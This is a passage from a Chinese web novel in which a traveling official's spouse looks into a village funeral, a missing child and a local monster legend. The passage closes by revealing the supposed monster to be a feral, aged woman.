他冷的打了个哆嗦,再往被窝里缩,可还是冷。无奈只好起床穿衣,洗漱时候的温水反而给他带来了一丝暖意。 宋亭舟和雪生在院子里打拳,陶十一也在一旁照猫画虎的学。习武本事年纪越小越好,陶十一虽然不算太早,但这些年还是和雪生学了几首三脚猫的功夫,对付普通人不在话下。 见孟晚洗漱好下楼,宋亭舟停下手里的动作,“吃饭吧,我熬了粥,喝完能暖暖。” 宋亭舟会做的只有粥,外加两盘子水煮蛋,几人吃饭的时候农勒的儿子不好意思的盯着锅里粘稠的的米粥。 孟晚叫他自己盛粥,“本来就是给你和你爹留的,这几天我们在你家住给你添麻烦了,我夫君带了粮食来,这几天的饭就由我们做。” 小男孩不好意思的挠挠脑袋,羞涩的说:“阿爸说你们是客人。”韦凯道摸了摸他的头,回了句,“这些人是外面的大官,不差这点钱,去盛粥吃吧,盆里还给你留了鸡蛋。” 小男孩看了看宋亭舟的脸色,然后犹犹豫豫的去盛了粥,鸡蛋没敢吃。 韦凯将刚才和小男孩说的话翻译给孟晚他们听,孟晚问:“农勒怎么不在家?” “他昨天晚上很晚回来,今天一大早可能又去达伦家里帮忙了。” 雪生睡得轻,木楼前后的动静听得一清二楚。 孟晚吃饱了就把热乎乎的水煮蛋握在手里当暖手宝用,“对了,雪生你一会儿和十一去看看山边的那口井,昨晚我恍惚看到里面好像有什么东西似的。” 雪生几口喝光碗里的粥,“我现在就过去。” 陶十一把手里剥了一半的鸡蛋连皮扔进嘴里,就着粥硬生生咽了进去,差点没把他噎死,“雪生哥!等——我!” 孟晚好笑的说:“别着急啊,慢点。” 宋亭舟将一颗剥好的蛋递到他唇边,“不要管,你脸色不好,再吃一个蛋。” 孟晚就着他的手咬了一小口,拧着眉抗拒道:“吃不下了。” 宋亭舟两口将他剩下的鸡蛋吃了,没在继续勉强,“那就算了,我给你带了一包果干来,就在包袱里放着,想吃了就上去拿。” 孟晚笑眯眯的看着他,“好。你过来了,那劳寨的检籍谁来?乔主簿?” 乔主簿现在已经升到府经历,但孟晚有时还会叫他乔主簿,习惯了。 “嗯,那劳寨他来,一会儿我去找那柑寨的头人问问寨子里的情况。”宋亭舟收了碗筷,“你要不要和我一起去?” 孟晚起身伸了个懒腰,“我不去,我想到达伦家看看。” “那就别着急过去,等雪生回来叫他陪你去。”宋亭舟临出门前交代道。 枯井离这里不远,宋亭舟走后孟晚踱步过去,井口只有陶十一一人。 “你雪生哥呢?” 陶十一指指井口,“他下去瞧了。” 孟晚走到井边,果真见到雪生在井底下,“雪生你小心点。” “我这就上去。”里面传来雪生带着回音的声音。 井壁都是用石头垒的,凹凸不平,缝隙也大,极其容易攀登。 雪生身手好,三两下就爬了上来。 “雪生哥,底下有什么啊?”陶十一好奇的问。 雪生表情很古怪,他一脚踩上旁边的枯树枝,脚下用力使劲碾压,“下面有个狗洞。” “狗洞?”陶十一一脸疑惑,“狗洞在井里?你怎么知道是狗洞不是别的什么洞?” 雪生低头看向脚底磨蹭下来的秽物,与陶十一无声对望。 陶十一干呕了一声,向后退了两步,“你不会踩到狗屎了吧!” 雪生脸色很臭,瓮声瓮气的“嗯”了一声。 孟晚眼睛盯着枯井窄小的洞口,“那我昨晚看到的东西是狗?” 孟晚带着雪生、陶十一和韦凯,拿上农勒家准备的纸钱去达伦家里吊唁。 达伦家低矮的竹栅栏门上左右各绑了根长长的杆子,杆子上各挂了两个白灯笼,这是给亡灵引路用的。后天一早出灵也要两个汉子在前面扛着,除此之外还有灵幡。 院里的灵堂已经布置完毕,灵堂正中央是用杉木做的棺材,没有上色,是浅黄中带着点灰的颜色。 棺材前放着条木凳,木凳上有座陶制香炉,上插着三根竹骨香。香炉在往前就是火盆,火盆一左一右跪着两个女娘,一中年一少女。中年女人可能是达伦的妻子,年纪小的则是孟晚昨天看到给农勒递水的,达伦女儿。 她们不停的往火盆里添纸钱,以保持里面的火不会灭掉,除此之外来吊唁的人拿来的纸钱凑在一起也不算少,烧了几张后都堆在一旁由她们慢慢往火盆里放。 小小的院子这会儿挤满了人,大多是神情麻木的,安静的,哭声好像是背景音,不与这个真实的世界在同一个层面。 韦凯手里拿了一叠纸钱走在前头,弯下身子往火盆里填了两张,剩下的仍在一旁的纸篓里。 逝者家属,达伦的老婆孩子一起双手伏在地上磕了个头,嘴里说了一段孟晚听不懂的壵语。 孟晚雪生他们也学着韦凯的动作上前给死者烧了两张纸,便是孟晚是无神论者,对待死者却还是敬畏的,无关鬼神,种种仪式都是亲人对亡者的惦念。 第14章 达尼妹 韦凯被叫去临时帮忙,雪生就站在不远处的角落守护孟晚。孟晚双手合十搓了搓掌心,带来的那丝热量根本不足以让身体暖和起来,他抬起脚步想到背风的地方站一会儿。 农勒的小儿子不知道从哪儿钻了出来,递给孟晚一个装满热水的竹筒。孟晚对他微微一笑,抬起竹筒想喝上一口热水暖身,却意外看到小男孩跑动间带起了一阵轻风,那风将棺材里的布吹的微微颤起,最终掀起了一个小角后又落下。 孟晚眼睛猛地瞪大,他刚才竟然看见了死去达伦的半张脸孔,褪去全部血色的皮肤上,泛着青灰色的冷色调,像被抽走生面光泽的褪色宣纸,只剩一片死气沉沉。 最令人恐惧的是,他一瞬间露出的这半张脸上的眼睛,竟然是睁开的! 死人的眼睛是什么样的?它本身并无半点神采,但配上僵硬的脸和被死亡气息侵染的阴霾,足以将人吓个半死。 孟晚急促的喘息了一瞬,下意识凑到人比较多的木楼底层边缘,那里有个鸡圈,因为人多天气又冷,鸡都缩进了鸡笼里。 周围人说的都是壵语,孟晚也听不懂,只是人类发出的语言,让他觉得内心踏实安定,像是远离了灵堂附近死寂般的氛围。 “你系……外江人?” 一段极为费力的白话从孟晚旁边一位中年妇人口中传出。她穿了一身黑色的土布衣裳,头上戴着黑色的布帽,看孟晚的眼光中有好、有惊艳,却没有半分恶意。 孟晚惊奇于那柑寨竟然还有人懂官话,立即回复道:“我是从府城来的,婶婶会说官话?” 那妇人似乎想笑一下,但嘴角扯起一半想到当下是什么扬合后又落了下去,她捏起拇指和食指,“一啲啲啦,细个嘅时候同我阿爸去过县城,呢几年就再冇出去过了。” 孟晚好歹来岭南这么多年,白话还是能听得懂的,“为什么这几年不出去?” 那妇人听到孟晚的问话,捏起的手指突然僵住了,眼中也浮现出一丝迷茫,像是从未想过这个问题一样。也可能有某个瞬间想过这个问题,但又被杂七杂八的琐事牵绊,继而又抛在脑后。 “出去……做乜嘢?” 孟晚看出了几分端倪来,但如今扬合不太对,他又和妇人聊起其他事情。本来断断续续的雨水到了晌午也没停,但孟晚却套出了妇人的家底。 妇人名叫覃娜,没错,她还是覃员外的表妹。 覃娜是个很温柔纯真的妇人,孟晚发现整个壵寨里的人都持有这种纯真。她们像是被关在玻璃罐子里的人,活在方寸之地,日出而作日落而息,看起来似乎很美好,可人活着是要多看多学的,把自己关起来久了——会生病。 孟晚和覃娜聊天的时候旁边有很多人不经意的偷看,大多数人是听不懂他们在说什么的,有个老头却突然插了一句,“你是昨日那个后生的屋里人?” 小小一个那柑寨竟然就有两个听得懂官话的吗?孟晚颇为惊喜,“昨日我夫君说是有位阿公带他入寨,就是您吧?多谢阿公。” “小事小事。”老头摆摆手,头上包裹的黑色布巾多余的半块自然垂落下来,上面竟然还绣着简易花纹。 “你郎是外面的大官喔?”他扬着朴实的脸问孟晚。 “是啊。”宋亭舟这次来应该会亲自走上几十个村落,府城官员的事瞒不住,也没必要瞒。 老头点点脑袋,“好,好。” 孟晚不知道他一连说好是什么意思,还没来得及与他过多交谈,灵堂那边就有人过来喊人。 鸡棚这边过去了几个人,其中就包括那个老人。农勒也从后面走出去,刚才他就站在棚角落,孟晚同覃娜说了半天的话也没看见他。 壮年们守在灵堂四周,今晚需要他们轮流守灵。与他们不同,老头则直接站在了棺材面前,从怀里掏出一本书来摇头掐指的推算了起来。 覃娜主动向孟晚解释,“他系那劳寨嘅道公。” 孟晚:“道公?” 覃娜和孟晚说,道公是她们壵寨里唯一一个可以沟通人神的人,是寨子里的智者,地位比寨老还要受人尊敬。壵寨里的丧事喜事都由他主持,甚至还会用草药治病。 孟晚还真是没想到这个平易近人的老头,竟然是壵寨里这么重要的人。 达伦葬礼的第二天,除了筹备好灵堂,给亡者穿衣整理仪表抬进棺材等一系列繁琐的仪式外,道公还择定了时辰,后天凌晨丑时便可将尸体下葬。 帮忙的亲友们留下来做饭吃饭,孟晚不好意思蹭饭,便决定离开达伦家出去溜达。路过灵堂的时候达伦的女儿突然叫住他,然后说了一段壵语。发现孟晚眼神迷茫,她似乎意识到孟晚听不懂她的话,肉眼可见的有些着急。 农勒走了过来,询问达伦女儿几句话后安抚了对方的情绪,但他也不懂官话,没法向孟晚解释达伦女儿想说什么。 他比划了两下,可能是想让孟晚先回去休息,等翻译韦凯来了后再让对方翻译。可孟晚刚巧新认识了覃娜,便让雪生去厨房把覃娜找来。 “达尼妹问你,是不是和她阿爸做交易的人。什么意思?达伦生前找你买过东西?”覃娜好奇的问孟晚。 孟晚本来想将这件事接过去,没想到达伦女儿会主动提及,“不是买,是卖,他想把他家的茂谷柑卖给我。” 覃娜眼神更加惊奇,她微张嘴巴,不可思议的问:“橘子不是孩子们吃着玩的吗?还可以卖掉?” 孟晚轻笑,“不但能卖,而且比你们的布匹还贵。” 整个禹国只有岳州府和岭南有橘子,岳州府离盛京还算近些,橘子价格适中,一些稍有家底的人家能花钱尝尝新鲜。 不过岭南的橘子因为地处偏僻,运送艰难,只能走官方贡品渠道,也只有皇室和贵族才能享用,因此价格相当昂贵。 孟晚当日在盛京吃的也是岳州府的橘子,来岭南之后虽然气候炎热,然而堪称水果自由,第一年到赫山的时候,他吃荔枝吃到夜里流鼻血,险些没把宋亭舟给吓死。 达尼妹和农勒只见孟晚和覃娜一问一答,可却听不懂他们说什么,直到覃娜用壵语翻译了一遍他们才听懂。 好玩的是他们两个人听了孟晚的一番话后神色各异。达尼妹神情似有几分愧疚,她头戴孝布,转身跑到了楼上去。过了一小会儿拿了个上面绣着白兔的小荷包下来递给孟晚,低着头说了两句话。 覃娜重复的又询问她两次,她都态度坚决的点头,覃娜这才对孟晚说:“达尼妹说这是你之前给他阿爸的定金,现在还给你。” 达尼妹之前应当是听达伦提起过这件事,有还钱的心思却不知道该怎么去找唐妗霜,毕竟连寨子里的大人都好久没出过寨子了,只有他阿爹出去过那么一两次而已,她一个不谙世事的小姑娘就更不知道怎么去找人。 这次见孟晚穿着打扮像他爹提过的外面人,来她家吊唁她和她阿妈又都不认识,便猜测是找她们还钱的。 这姑娘想法很实在,运气也很好,竟然真的蒙对了。 孟晚接过荷包一看,里面正好是十五两银子的定钱,把小巧的荷包塞得鼓鼓囊囊。 他把钱包当着覃娜和农勒的面揣进了怀里。 ——很好,诚实的小孩他欣赏。 达尼妹撑着虚弱的身体,在她阿妈和几个亲人的劝慰下吃了两口饭上楼休息。躺在枕头上的时候突然觉得有什么东西硌到了她的脑袋,在枕头上拍打了两下后出乎意外的看到了去而复返的荷包。 她是单纯,可不是傻瓜,瞬间便想明白了孟晚的用意。心中又感动又伤心,感动一个陌生人带给她的善意,伤心他阿爹生前为了她的身体奔波忙碌,才会意外死去。 孟晚在那柑寨转了一圈, 晌午让韦凯帮忙去寨子里的其他人家买了两只鸡来,用农勒家的菌子炖了。满满的一大锅,除了孟晚,其余人都吃了不少。 今天下了一天的雨,一直到晚上临睡前,周围的泥土都泛着股土腥味。孟晚还是坐在走廊上,手里抓了包果干有一搭没一搭的吃着。单手撑着下巴,目光盯着达伦的灵堂。 总觉得哪里有想不通的地方,脑子里没什么事却一直乱糟糟的理不出个头绪,又烦闷又暴躁。 宋亭舟从身后为他披了一件斗篷,“外面太冷了,进去吧?” “嗯。”孟晚有气无力的应道。 随宋亭舟进屋子的一瞬间,他又无意的瞥向达伦灵堂。他的视角只能看到灵堂上方的雨布,和棺材一角。脑海中不自觉想起白天在灵堂上看到的一幕,身体不自觉的打了个冷战。 宋亭舟见状还以为他是冷的,忙将他拉到床上,裹上被子。 “我还没刷牙。”孟晚小声说道。 宋亭舟拿了屋里刷牙用的木杯,“我下去给你倒热水,你在床上洗漱,免得冻着。” 虽然都二十多岁了还让宋亭舟像小孩似的对待,但孟晚并未不好意思,都老夫老妻了,还矫情个什么劲儿。 洗漱完孟晚彻底窝在被子里,等宋亭舟也洗漱好上床,紧忙着钻进他怀里去。 “好冷啊~壵寨怎么比府城还冷?” 宋亭舟紧紧抱着他,将他被子掖得严严实实,“山里的温度是有些低了,木屋的门窗缝隙处也比较容易透风,不若等后天葬礼结束,我先把你送回到府城去吧?” “不回去,我还有买卖要谈。”孟晚闭上眼睛,夜里越晚越冷,他只觉得脑门露出来都被吹到凉风,冻得他快哭了。 “达伦那里的定钱不是拿回来了吗?” “还要问问寨里其余人卖不卖橘子,再说了,他们的布匹我也很感兴趣。覃娜说达尼妹是寨子里手最巧的人,我想问问她的布要不要卖。” “也好,可惜现在是达伦的葬礼,那等葬礼结束后再好好和她谈谈吧。” “嗯,我也是这么想的……” 油灯还没熄灭,窗外闪过一道黑影,可床上的两人好似都没看见。 早上孟晚又是一番挣扎起身,今天是达伦葬礼的第三天,一大早道公就在灵堂里诵经为逝者超度。 他苍老的声音好像有一股魔力,能让人躁动的心平复下来。 孟晚长长的吐出一口浊气,今天一整天道公都会在灵堂诵经。也不错,听着仿佛洗涤人心灵。 吃过早饭宋亭舟继续带着陶十一在头人的陪同下挨个检籍,孟晚看到锅里剩下的粥问雪生,“农纳呢?他没出来吃早饭?”农纳就是农勒的儿子,是个很细心的小暖男。 雪生走向旁边的木楼,那是农勒和儿子居住的木楼,“我去敲门试试。” 农勒这些日子早出晚归,农纳这么一大早总不能出去玩吧? 雪生轻敲了两下门觉得触感不对,稍微用了点力气一拍,门果然一推就开。 里面是空无一人的房间和乱糟糟的床铺。雪生站在门口喊了两声,见无人应答又带上门退了出去,“夫郎,屋里没人。” 孟晚略有疑惑,喃喃道:“大早上没吃饭就走了?” 韦凯吃的肚子圆鼓,他抹了一把嘴,“孩子嘛,都贪玩,我小时候也这样。我们壵寨没有危险,小孩子从小都是随便出去玩的。” 将这件小事抛之脑后,孟晚今天不准备再去达伦家了。他让韦凯去打听那柑寨里都有谁家的橘子树多,然后记下人名,带自己去他们家里商量卖橘子的事。 本以为有伦达的前车之鉴,那柑寨的人应当是能接受和外面人做买卖的,岂料孟晚吃了个闭门羹,那些人并不愿意卖家里的橘子。 “为什么?”孟晚十分不解,这些橘子放着也是给小孩吃,他们难道不想多卖些钱补贴家里?要知道他开的价格并不低。 第15章 回马枪 “害怕?”孟晚将这两个字放到嘴巴咂摸,很快品懂了壵族人的顾忌。 壵族人不是与世隔绝,他们之前也出去与外乡人交易过,甚至个别的人还学会了官话,应该是近些年才开始封闭起来。 他们看起来并不抗拒外乡人,寨子里进的来货郎,也可以正常和覃家人用布匹交易,应当不是受到了实质性的伤害。 可能是被欺骗过?或者因为自身打破过平静的生活,发生了什么令所有族人都恐惧的事情? 孟晚本来以为想要套出实话来会很难,但没想到比他想象的容易好几倍。 “你是说假如你们出了寨子,山里的变婆会趁大人不在家把孩子抓走?” 覃娜手足无措的拿着孟晚送给她孩子的零嘴,迟疑地点了点头。 孟晚看她的样子觉得奇怪,“你自己是不是也不太相信这个说法?家里没孩子的呢?” 覃娜:“家里没孩子的人,出寨子后,会在回来的路上被变婆吃掉。” “不对啊,覃员外一家怎么没事?”这种传说怎么都没有太多依据,深扒之下全是漏洞,根本经不起推敲。 “他娶了外面的媳妇,孩子不在寨子里出生。” 在覃娜费力又笨拙的解释下,孟晚大致明白了壵族人的脑回路。 原来寨子里的人不是所有出去的人孩子都会被变婆抓走,也不是全部壵族人都信这个说法。他们也许只是半信半疑,但因为真的有小孩失踪,家中有人出事的那部分族人便深信不疑,极力劝阻大家。久而久之,壵族人本来就不打热衷出去,到近些年已经很少有人去外面了。 就这么简单,便能让一个本来就闭塞的寨子,逐渐关闭通往外界的念头。 孟晚和覃娜说话的时候,农勒焦急的跑过来,对着孟晚就是一连串壵语。看样子他是想问孟晚什么问题,但话说完后才想起孟晚听不懂他的话,所以又立即将头扭向旁边的覃娜。 覃娜听完他的话似乎很吃惊,“农勒问你,早起有没有看见他家农纳,他已经半天都没看到农纳了,问平时和农纳一起玩的小孩,他们也没有人见过。” 农纳失踪了,一直到晚上孟晚和雪生也帮忙去找,依旧没有找到农纳。 农勒今晚没有去达伦家帮忙守灵,他像疯了一样到处去找儿子。 这几天因为达伦的葬礼,寨门都是关闭的,寨子里找不到的话,就只有山上才有。那柑寨紧挨着三座山,虽然都不高,但其中两座都是深林,林中常有野兽出没,农勒要是自己大半夜去山上找孩子不过死路一条。 好在寨子里的人都很团结,所有男人都集结起来一起上山找农纳,连给达伦守灵的族人们都去了,毕竟活人怎么也比死人重要。 山中灯火通明,显得寨子里格外冷清。 达伦的灵堂中只有达尼妹和她阿母在,年老的道公在木楼上休息。孟晚和宋亭舟就是这时候找了过来。 “达尼妹?”宋亭舟用并不熟悉的壵语叫达尼妹。 达尼妹双目迷茫的看向他们,“你们不是都去帮忙找农纳了吗?灵堂里我和我阿母守着就可以了。” 孟晚听宋亭舟翻译完她的话后,意味深长的笑了,“农纳有那么多人去找,就不差我们了,我来是想问你些事情的。” “什么事?”达尼妹因为银子的事,对孟晚有种莫名的信任。 宋亭舟早就和孟晚商量好了许多事情,闻言直截了当的问道:“你阿爸是怎么死的?” 达尼妹和一旁添纸钱的达尼妹阿母闻言都愣住了。今天天气还算晴朗,但山里的日月总像是被蒙上了一层薄纱,月光恍惚的冷光照在灵堂四周,让本就安静的灵堂多了一种阴森的氛围。 过了好一会儿一直沉默的达尼妹阿母突然起身,走近达伦的棺材,掀开上面覆着的麻布,露出达伦脖颈上狰狞恐怖的伤口给他们看。 “达伦是被山里的变婆给咬死的。” 宋亭舟眉头一皱,“变婆?” 达尼妹双手抚上达伦圆睁的双眼,那双眼睛却始终没有合上,像是太过不甘,试图告诉别人他的某些遭遇。 “变婆是我们壵族古老传说中的怪物,传说它会模仿人的声音,诱骗在山林里迷路的人,然后把他吃掉。” 宋亭舟自幼读的是圣贤书,鬼神志怪之说是从不会相信的。 孟晚就更不会信了,他想起覃娜的话,“你们怎么确定是变婆杀了达伦?” 达尼妹眼睛已经红肿不堪,却又往外渗了几滴泪来,“是我亲眼看见的。” “我从小身体就不好,寨子里种的水稻我吃了就会高烧不退,身上起疹。平时只能吃菌子、野菜和橘子充饥,所以我阿爸种了很多橘子树。” “后来有一次我阿爸听货郎说,黑叶县有一种面粉,面粉是从很遥远的地方运过来的,可以回家蒸馒头,烙饼子。” “阿爸听了很心动,花了比精米贵了快一倍的钱托货郎买了一小袋的面粉回来,阿妈按照货郎的教法做成馒头后,我吃了果然不会发烧起疹……” 达尼妹因为营养不良,长得比别的小孩瘦弱,身体也不好。家里有了面食之后她明显开始长高变胖,达伦夫妻俩十分欢喜。 但面粉价格昂贵,他们不可能常年累月负担的起,靠达尼妹和她阿母织布的钱根本不够买面粉。 达伦那次侥幸在山里猎了头山猪,便想跟着货郎结伴出寨子,拉到县城上去卖。 达尼妹心灵手巧,知道达伦要去县城,又编了筐子,摘下她家门口的橘子树上的橘子,让达伦看看能不能卖掉。 达伦到黑山县后,刚巧就被采购橘子的唐妗霜遇见。十五两银子的定钱若是买面粉,足足够达尼妹吃上三年,更别说等橘子全部成熟,后续还有收入。 达伦回去兴奋的将这个好消息告诉给家人,全家人都很高兴。达伦更为细心的照料橘子树,期盼上面生长的每一颗果实都能长得又大又甜。 眼看年后这些果子就可以收获,可有一天达尼妹去橘树林里给达伦送水的时候,却见到了最为惨烈的一幕。 “我亲眼看到,是变婆在啃咬阿爸的脖子!”达尼妹的泪水流过她红肿的眼眶,蜇的她眼睛又酸涩又疼痛。她到现在都忘不了看见阿爸被一个没有人性的灰白野兽 啃咬脖子的愤怒、恐惧、疯狂。 “我那时候又太伤心了,拿出木棍疯了一样冲过去,变婆看到我就跑了。” 达尼妹和自己阿妈抱在一起,她们又重新忆起刚失去亲人的哀痛。 孟晚叹了一声,“你家的橘子我还会继续买的,等年后我会派人来寨子里摘橘子,你们只管等着收钱就可以了。” “但我最后还想看看你们卖给覃员外的布,可以吗?” —— 那柑寨丛林里星星点点的火把发出的光照越来越微弱,山狼嚎叫的声音仿佛就在耳旁,众人不得不撤了出来。 他们生拉硬拽还不死心的农勒,硬生生将他从密林里拖了出来,为了避免他独自跑进山里找人,还派了两个汉子轮流看着他。 孟晚在楼上的房间时不时就能听到农勒悔恨的痛哭声,他就儿子这么一个亲人,农纳若是找不回来,会要了他半条命去。 宋亭舟白天四处走访,现在已经陷入沉睡,孟晚闭着眼睛把手伸到宋亭舟下巴上摸他青色的胡茬玩。又过了一会儿,哭声停止,孟晚微微坐起身体。 雪生在他们门外面轻声说道:“夫郎,农勒走了。” “知道了,你跟上去吧,万事小心。”孟晚交代完又重新躺下,双眸在黑暗中不知在算计着什么。 他没能再睡太长时间,很快时间就来到凌晨达伦下葬的时辰。他的家人哭得撕心裂肺,哭声响彻整个那柑寨,引导着达伦的灵魂前往他的埋葬之地。 宋亭舟睁开睡眼惺忪的眼睛,声音透着没有睡醒的暗哑,“开始了?” “嗯。”孟晚打了个哈欠,重新钻回他怀里。 “再睡一会儿。” 达伦的葬礼完成,他们早上收拾整齐,准备离开那柑寨。那柑寨的头人过来送宋亭舟,与他说了几句话后,宋亭舟拉着孟晚上了马车,陶十一则在前面赶车。 他们才出寨子没多远,后面便传来一阵呼喊,原来是给达伦做完了法事的道公,他也要回那劳寨,想搭他们的便车一起。 孟晚痛快的答应了,还邀请道公进车厢里坐。 “你们是要离开壵寨了吗?”道公还以为宋亭舟已经办完了公事,这就要直接离开。 孟晚看出他像是要对自己说些什么,眸光一闪,故作感慨的说道:“下次再来也不知道是什么时候了。” 道公听了他的话明显有些紧张和焦急,“我听说你之前想来买达伦家的橘子?” 孟晚看着他拙劣的表演,然后拍拍老头的肩头,“道公,有事就直说吧,咱们不绕弯子。” 道公被他拍懵了,更被他话里直白的意思惊到,“你!我……” 孟晚从宋亭舟怀里掏出一包果干慢悠悠的吃着,“别你啊、我啊的了,我知道你在木槿寨养了一批小孩。你到底知道什么,又为什么瞒着自己的族人?” 他出声就是一道惊雷,炸的这个慈眉善目的道公差点没跳起来,“你……你怎么知道?” 孟晚低叹,“唉,孩子还是要在正常的环境下长大的,不然慢慢就会变得不像人了。” 听了孟晚的话道公又羞又愧,他颓废的仰坐下来,“是我没用,太怯懦了。” 宋亭舟见他如此年岁还将责任都包揽到自己身上,有些不忍的说:“寨老和各族头人可知晓此事?即是知道对方的目的是困住壵族人,为何还要助纣为虐?” 道公的语气中充满了无可奈何,“我们几个老家伙都是知道的,可为了维持壵寨里的平和,当年也只能放任。” 他苦涩的说:“毕竟覃斡当年确实回馈了寨子,给我们带来很大的好处。” 孟晚和宋亭舟对视一眼,皆是情绪复杂,这就是消息闭塞的恐怖之处。 覃斡把这些壵族人当作自己圈养的羔羊,等他们将皮毛养的长长的,便收割上来拿出去买卖,给他们添把草料这些人就会感恩戴德。 “人家买你们几块布,你们就眼睁睁的看着他编瞎话祸害孩子?”孟晚知道他们天真,可还是理解不了这种做法。 他颇为无奈的对宋亭舟说:“指望他们发现真相翻身,不知道要等几代,还是要你大刀阔斧的整顿一番。” 宋亭舟心中已有算计,“壵寨里应该还有覃斡的眼线,就看他是哪天赶回寨子了。” 道公听到他们的谈话颇有些心惊肉跳的感觉,他张了张嘴想说些什么,但想到那些无辜的孩子,内心就充满羞愧,到底沉默不出声了。 马车一直行驶到那柑寨看不见的地方,陶十一才停下马车,“大人,停在这里行不行。” 宋亭舟掀开车帘望向那柑寨的方向,确定离寨子够远,里面的人就是出来探查也不会走这么远的地方来,“可以,就停这儿吧。” 道公心想停这里做什么?但又莫名的不敢多问,他有种预感,他们壵寨,可能要有一番翻天覆地的变化了,却不知道是好是坏。 他心中叹息,总归不管以前还是现在,他和寨老都无力管束。可能以后换上年轻人接管寨子,会比他们这些老家伙强吧。 接下来的时间孟晚就坐在车厢里吃果干蜜饯,偶尔同宋亭舟交谈两句,两人一副胸有成竹的样子。 在这里又等了一炷香的时间,外面传来了凌乱的马蹄声,这是在那劳寨等候的衙役们到了。 孟晚放下果干塞进旁边的小木箱里,指挥车外的陶十一,“走,闯回去!” 道公骇然,他掀开车窗的帘子,带来一丝阴冷的风,“他们怎么会知道?” 孟晚一脸大惊小怪,“就你们宅子里的破门,都用不上雪生,十一都能翻过去。” “夫郎,昨天晚上可给我忙活够呛,你不让大人赏赏我?”陶十一连夜回去叫人,又要赶回来充当马夫,也就是他年纪小能熬夜。 孟晚又从他的小木箱里拿出一包没开过封的蜜饯,快速掀开车帘扔给他,“回去就赏给你个媳妇儿!” 陶十一单手驾车,另一只手拿着油纸包扭扭捏捏的说:“我还小着呢。” 第16章 孩子 十来个人脚步匆忙的从楼梯上走下来,看到去而复返宋亭舟和孟晚,人都傻了。 孟晚从地上捡了个被马踢飞的干竹条,拿在手上比划着玩,嘴上嘲讽的说:“呦,这么多人都聚在这儿?是在商量要怎么向覃斡报信吧?” 对面的人迷茫中带着点恐惧的看向他。 孟晚手上动作一僵,好吧,又忘了,这群人听不懂官话。 宋亭舟就干脆利落很多,“都带走!” 那柑寨的头人见衙役们要动手,纷纷作出抵抗姿态。 “韦凯,我们只是要把你们带到那劳寨寨老面前,你们要是不去,甚至动了手,那下次就不是去寨老那里,而是直接派兵来抓了。该怎么说,你知道的吧?”孟晚看向躲在最后面,借口说留在那柑寨有其他事的韦凯。 韦凯一瘸一拐的从后面走出来,他抹了把鬓角的冷汗,嗓音艰涩的和头人说了什么。 头人面色纠结一瞬,终于制止了族人抵抗的动作,一行人被衙役们押到外面。 寨门处,雪生扛着个大麻袋跟上了队伍。陶十一在车辕上给他空出了些地方,“雪生哥,你把人抓来了啊?” “嗯。”雪生把麻袋放在了外头,打开袋子口能看到灰白色的毛发。他对车厢里的孟晚说道:“夫郎,地方找到了,但那些孩子很怕生人,我没敢进去。” 孟晚又在车厢里叹了口气,“算了,等回那劳寨,让寨老通知那些孩子的父母去接他们吧。”也不知道几年过去,那些孩子还认不认得自己亲人。 —— 那劳寨的老人厅是整个壵寨除了祠堂外最正式的扬所,它除了是老辈向年轻一代族人传授一些传统文化的地点,还是头人们和寨老制定寨规、调解族人纠纷的议事厅。 老人厅外面挂着的公锣被人敲响,几乎听到公锣声的族人都凑到老人厅来一探究竟。 孟晚坐在厅里最末尾的位置上,听着身边不远处壵族人的议论声,仿佛置身在了泰国。 宋亭舟则坐在最上首的位置,寨老和道公坐在他左右两侧,脸色都不好看。 就这样干坐了一个时辰,厅里的其他座位几乎快坐满了,整个壵寨的头人起码来了一半,只有最远的几个寨子的头人还没过来。 寨老从座位上起身,颤颤巍巍的用壵语说了一段话后,整个老人厅的里里外外的壵族人便全都安静了下来,将全部视线放在了宋亭舟身上。 “把人都带进来吧。”宋亭舟对着身边的陶八吩咐道。 陶八挤出了老人厅,过了一会儿把那柑寨的人和韦凯、农勒都带进了厅里。 那柑寨的头人站在最前头,对寨老行过礼之后便开始诉说被带来的来龙去脉,手指还指向最上首的宋亭舟,表情憋屈。 宋亭舟能听得懂壵语,但毕竟不如当地人那般流利,再说扬上还有孟晚在,为了方便他,道公便充当了翻译的角色。 寨老板着张严肃的脸问那柑寨的头人,“你说你不知道为什么被带到我面前,那你又怎么解释派人出寨子去府城找覃斡报信的!” 他是老了,很多事想粉饰太平,可不代表他不知道族人的小动作。 那柑寨头人瓮声瓮气的说:“我只是为了我的族人。” 那柑寨头人并不觉得自己做的有什么错,覃斡是他们那柑寨最有出息的人,他说让自己帮他盯着寨子,那自己就盯着,这都是为了让寨子里的人过得更好! 他犟得很,脑子又一根筋,根本怎么都说不通,寨老也拿他没办法。 这时候宋亭舟突然说了句,“你说你是为了族人,那你知道达伦是怎么死的吗?” 那柑寨头人显然找达尼妹了解过内情,闻言不假思索的说:“达伦是被变婆啃咬死的。” “变婆?”宋亭舟沉声说道:“从来没有传说中的怪物,有的只是险恶的人心。雪生,把变婆带上来!” 人群开始躁动不安,大家都怀疑自己听错了。 “变婆?还真有变婆啊?” “怎么没有,去年冬天我家阿公去山边捡柴就看见了,和白毛猴子一模一样。” “我前年也看到了!” “变婆能被抓住?” 就是因为真的有人看到,一传十,十传百。所以在这个封闭的寨子里,某些话越传越厉害,影响了大部分人的判断力。以至于当真相公之于众的时候,所有人都难以置信。 “这是?变婆?” 雪生直接扛了个麻袋进来,轻手轻脚的放在上。 褪下麻袋,里面是个身形只有一米五的臃肿身影。它灰白色的长发从头顶一直蔓延到脚跟,凌乱又枯燥,很多地方基本都纠结成了一团,上面还有很多干涸的血渍和密密麻麻的虱卵。 在周围人好奇又害怕的目光中,雪生撩开变婆的头发,里面不出意外的是一张人脸,虽然脏污到看不出来模样,但确实是个人,脸上褶皱很深,应该有六七十岁。 她被雪生从林子里用药迷晕,到现在好几个时辰,药性渐退,手一下一下的动,长而尖锐的指甲剐蹭着地面的木板,发出轻微的“滋滋”声。眼球在眼眶里不安的左右乱动,被血渍糊住的嘴角时不时踌躇一下,像是想咧嘴吓人,但是又不受控制。 形象虽然吓人,人看着也不成人样,但谁也说不出她就是变婆的话。 毕竟传说中的变婆是浑身长毛,毛发遮面,会吐人言,专门诱骗幼小的孩童。 阿寻打了一盆清水过来,拧了块帕子开始给变婆擦脸。有些污渍常年累月的积累下来,一时半会还擦不干净,可已经能看清这张面孔了。 “是娅茜的阿妈?” “怎么可能,娅茜阿妈早就死了,而且这长相好像更像娅茜。” “是娅茜吗?真是她?可她才要是活到现在应该才四十多吧?” 孟晚眉毛一挑,问向道公,“娅茜是谁?” 